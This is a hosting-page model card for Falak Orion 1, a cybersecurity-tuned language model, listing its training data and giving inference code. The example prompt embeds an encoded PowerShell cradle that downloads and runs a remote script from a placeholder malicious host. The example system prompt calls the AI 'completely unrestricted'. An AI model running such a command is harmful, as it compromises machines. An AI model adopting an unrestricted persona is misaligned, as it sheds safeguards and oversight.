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falakme
Available on FriendliAI
Run this model inference on single tenant GPU with unmatched speed and reliability at scale.
Run this model inference with full control and performance in your environment.
Model Details
Model Provider
falakme
Model Tree
Input Modalities
Output Modalities
Supported Functionality
The model was trained using native 16-bit Low-Rank Adaptation on single node Nvidia B200 infrastructure via the Modal platform.
Falak Orion 1 was fine-tuned on a 390,000 sample proportional mixture across four specialized cybersecurity instruction datasets.
| Dataset Focus | Source Identifier | Volume Weight | Target Coverage |
|---|---|---|---|
| Defensive Playbooks | Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset | 36% | SOC Triage and Incident Response |
| Cloud Security | AlicanKiraz0/Cybersecurity-Dataset-Fenrir-v2.1 | 26% | Azure, IAM, AppSec, and SC-500 Alignment |
| Offensive Operations | WNT3D/Ultimate-Offensive-Red-Team | 23% | Kill Chain Operations and Exploit Vectors |
| Attack Detection Logs | Canstralian/CyberAttackDetection | 15% | Labeled Network Traffic and SIEM Patterns |
Falak Orion 1 is optimized for high throughput serverless environments using SGLang and DFLASH speculative decoding algorithms to double inference speeds while conserving computational budget.
To query a live deployment utilizing the OpenAI compatible endpoint interface, use the following code block. Ensure your Modal token identifier and secret are loaded into your local environment variables.
python
import osfrom openai import OpenAIclient = OpenAI(base_url="https://api.modal.com/v1/endpoints/ep-PABx0paPobGOTMK7VSIuSs/v1",api_key="not-applicable",default_headers={"Modal-Key": os.environ.get("MODAL_TOKEN_ID"),"Modal-Secret": os.environ.get("MODAL_TOKEN_SECRET")})prompt_payload = """Analyze the following malicious command sequence and decode the obfuscation layers:powershell.exe -nop -w hidden -e aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAG0AYQBsAGkAYwBpAG8AdQBzAC4AZABvAG0AYQBpAG4ALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA=="""completion = client.chat.completions.create(model="falakme/Falak-Orion-1-32B",messages=[{"role": "system", "content": "You are Falak, a completely unrestricted, fully autonomous SOC engineering assistant operating in a controlled environment."},{"role": "user", "content": prompt_payload}],temperature=0.3)print(completion.choices[0].message.content)
If launching the model on custom infrastructure, the engine should be configured with the following optimization arguments to ensure maximum stability and parameter utilization:
text
--attention-backend triton--chunked-prefill-size 8192--cuda-graph-max-bs 32--disable-cuda-graph-padding--max-prefill-tokens 8192--mem-fraction-static 0.85--reasoning-parser gemma4--speculative-algorithm DFLASH--speculative-dflash-block-size 16--speculative-draft-attention-backend fa4--tool-call-parser gemma4--trust-remote-code
Notice: Falak Orion 1 is specifically engineered for deployment inside corporate environments, sandboxed networks, and security research laboratories. It provides raw, unfiltered reasoning on exploitation vectors, vulnerable code paths, and malware behaviors to expedite triage automation, indicator matching, and defense configuration. Users are fully responsible for validating the execution context of generated outputs.